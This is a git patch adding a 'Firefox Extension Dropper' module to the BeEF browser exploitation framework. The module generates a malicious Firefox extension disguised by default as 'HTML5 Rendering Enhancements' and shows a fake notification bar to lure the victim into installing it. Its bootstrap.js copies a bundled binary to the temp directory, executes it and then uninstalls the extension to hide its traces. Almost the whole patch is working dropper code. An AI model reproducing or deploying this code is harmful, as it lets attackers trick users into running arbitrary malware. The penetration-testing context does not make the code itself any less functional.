From 5dd46ffd7274f5eeb67c633b4556649f8c07636a Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 10 Oct 2013 15:18:03 +0100 Subject: [PATCH] From antisnatchor with love. New module: malicious Firefox Extension dropper. Based on @mihi42 FF extension. --- .../firefox_extension_dropper/command.js | 39 ++++++++ .../firefox_extension_dropper/config.yaml | 16 ++++ .../dropper/readme.txt | 2 + .../extension/bootstrap.js | 30 ++++++ .../extension/chrome.manifest | 2 + .../extension/install.rdf | 24 +++++ .../extension/overlay.xul | 5 + .../firefox_extension_dropper/module.rb | 92 +++++++++++++++++++ 8 files changed, 210 insertions(+) create mode 100644 modules/exploits/local_host/firefox_extension_dropper/command.js create mode 100644 modules/exploits/local_host/firefox_extension_dropper/config.yaml create mode 100644 modules/exploits/local_host/firefox_extension_dropper/dropper/readme.txt create mode 100644 modules/exploits/local_host/firefox_extension_dropper/extension/bootstrap.js create mode 100644 modules/exploits/local_host/firefox_extension_dropper/extension/chrome.manifest create mode 100644 modules/exploits/local_host/firefox_extension_dropper/extension/install.rdf create mode 100644 modules/exploits/local_host/firefox_extension_dropper/extension/overlay.xul create mode 100644 modules/exploits/local_host/firefox_extension_dropper/module.rb diff --git a/modules/exploits/local_host/firefox_extension_dropper/command.js b/modules/exploits/local_host/firefox_extension_dropper/command.js new file mode 100644 index 000000000..4dae24103 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/command.js @@ -0,0 +1,39 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var xpi_name = '<%= @xpi_name %>'; + var domain = '<%= @domain %>'; + var ff_extension = '/' + xpi_name + '.xpi'; + + if(beef.browser.isFF()){ + var id = beef.dom.generateID(); + var pid = beef.dom.generateID(); + var zztop = beef.dom.getHighestZindex()+1; + var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); + var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) + var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); + $j('body').append(el); + var hid = '#'+id; + var hpid = '#'+pid; + $j(hid).append(elp); + $j(hpid).html("<%= @notification_text %> "); + $j(hid).append(elr); + $j(hid).click(function() { + $j(this).slideUp(300,function() { + $j(this).remove(); + }); + //window.location.href = ff_extension; + window.open(ff_extension); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); + }); + $j(hid).css('cursor','pointer'); + $j(hid).slideDown(300,function() { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); + }); + } +}); diff --git a/modules/exploits/local_host/firefox_extension_dropper/config.yaml b/modules/exploits/local_host/firefox_extension_dropper/config.yaml new file mode 100644 index 000000000..ea46d4cf2 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + firefox_extension_dropper: + enable: true + category: ["Exploits", "Local Host"] + name: "Firefox Extension Dropper" + description: "Create on the fly a malicious Firefox extension that embeds a dropper you can specify (add it to the 'dropper' directory).

The extension is based on the original work from Michael Schierl and his Metasploit module." + authors: ["antisnatchor"] + target: + user_notify: ["FF"] + not_working: ["All"] \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_dropper/dropper/readme.txt b/modules/exploits/local_host/firefox_extension_dropper/dropper/readme.txt new file mode 100644 index 000000000..89e9322f9 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/dropper/readme.txt @@ -0,0 +1,2 @@ +Place in this directory the binary you want to drop and execute through the Firefox extension. +Make sure to have just ONE file in this directory (other than this readme.txt). \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_dropper/extension/bootstrap.js b/modules/exploits/local_host/firefox_extension_dropper/extension/bootstrap.js new file mode 100644 index 000000000..dcaf24fa6 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/extension/bootstrap.js @@ -0,0 +1,30 @@ + +function startup(data, reason) { + var file = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("ProfD", Components.interfaces.nsIFile); + file.append("extensions"); + xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}";payload_name="__payload_placeholder__"; + file.append(xpi_guid); + file.append(payload_name); + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. + getService(Components.interfaces.nsIProperties). + get("TmpD", Components.interfaces.nsIFile); + tmp.append(payload_name); + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); + file.copyTo(tmp.parent, tmp.leafName); + + var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + process.init(tmp); + process.run(false,[],0); + + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + } \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_dropper/extension/chrome.manifest b/modules/exploits/local_host/firefox_extension_dropper/extension/chrome.manifest new file mode 100644 index 000000000..2864216f5 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/extension/chrome.manifest @@ -0,0 +1,2 @@ +content {861fb387-92ce-bb0a-cb48-4b923dbc292b} ./ +overlay chrome://browser/content/browser.xul chrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul diff --git a/modules/exploits/local_host/firefox_extension_dropper/extension/install.rdf b/modules/exploits/local_host/firefox_extension_dropper/extension/install.rdf new file mode 100644 index 000000000..0813095d0 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/extension/install.rdf @@ -0,0 +1,24 @@ + + + + {861fb387-92ce-bb0a-cb48-4b923dbc292b} + __extension_name_placeholder__ + 1.0 + true + true + + + toolkit@mozilla.org + 1.0 + * + + + + + {ec8030f7-c20a-464f-9b0e-13a3a9e97384} + 1.0 + * + + + + \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_dropper/extension/overlay.xul b/modules/exploits/local_host/firefox_extension_dropper/extension/overlay.xul new file mode 100644 index 000000000..91ca363e4 --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/extension/overlay.xul @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/modules/exploits/local_host/firefox_extension_dropper/module.rb b/modules/exploits/local_host/firefox_extension_dropper/module.rb new file mode 100644 index 000000000..2408f061f --- /dev/null +++ b/modules/exploits/local_host/firefox_extension_dropper/module.rb @@ -0,0 +1,92 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Firefox_extension_dropper < BeEF::Core::Command + + class Bind_extension < BeEF::Core::Router::Router + before do + headers 'Content-Type' => 'application/x-xpinstall', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + get '/' do + response['Content-Type'] = "application/x-xpinstall" + extension_path = settings.extension_path + print_info "Serving malicious Firefox Extension Dropper: #{extension_path}" + send_file "#{extension_path}", + :type => 'application/x-xpinstall', + :disposition => 'inline' + end + end + + def pre_send + + # gets the value configured in the module configuration by the user + @datastore.each do |input| + if input['name'] == "extension_name" + @extension_name = input['value'] + end + if input['name'] == "xpi_name" + @xpi_name = input['value'] + end + end + + mod_path = "#{$root_dir}/modules/exploits/local_host/firefox_extension_dropper" + extension_path = mod_path + "/extension" + + # retrieve the name of the dropper binary + Dir.foreach("#{mod_path}/dropper") do |item| + if item != "readme.txt" && item != "." && item != ".." + @dropper = item + puts "dropper: " + @dropper + end + end + + # clean the build directory + FileUtils.rm_rf("#{extension_path}/build/.", secure: true) + + # copy in the build directory necessary file, substituting placeholders + File.open(extension_path + "/build/install.rdf", "w") {|file| file.puts File.read(extension_path + "/install.rdf").gsub!("__extension_name_placeholder__", @extension_name)} + File.open(extension_path + "/build/bootstrap.js", "w") {|file| file.puts File.read(extension_path + "/bootstrap.js").gsub!("__payload_placeholder__", @dropper)} + File.open(extension_path + "/build/overlay.xul", "w") {|file| file.puts File.read(extension_path + "/overlay.xul")} + File.open(extension_path + "/build/chrome.manifest", "w") {|file| file.puts File.read(extension_path + "/chrome.manifest")} + FileUtils.cp "#{mod_path}/dropper/#{@dropper}", "#{extension_path}/build/#{@dropper}" + + extension_content = ["install.rdf", "bootstrap.js", "overlay.xul", "chrome.manifest", @dropper] + + # create the XPI extension container + xpi = "#{extension_path}/#{@xpi_name}.xpi" + if File.exist?(xpi) + File.delete(xpi) + end + Zip::File.open(xpi, Zip::File::CREATE) do |xpi| + extension_content.each do |filename| + xpi.add(filename, "#{extension_path}/build/#{filename}") + end + end + + # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition) + bind_extension = Firefox_extension_dropper::Bind_extension + bind_extension.set :extension_path, "#{$root_dir}/modules/exploits/local_host/firefox_extension_dropper/extension/#{@xpi_name}.xpi" + BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new) + BeEF::Core::Server.instance.remap + end + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ + {'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'}, + {'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'}, + {'name' => 'domain', 'ui_label' => 'Serving Domain', 'value' => 'http://beefdomain'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end +end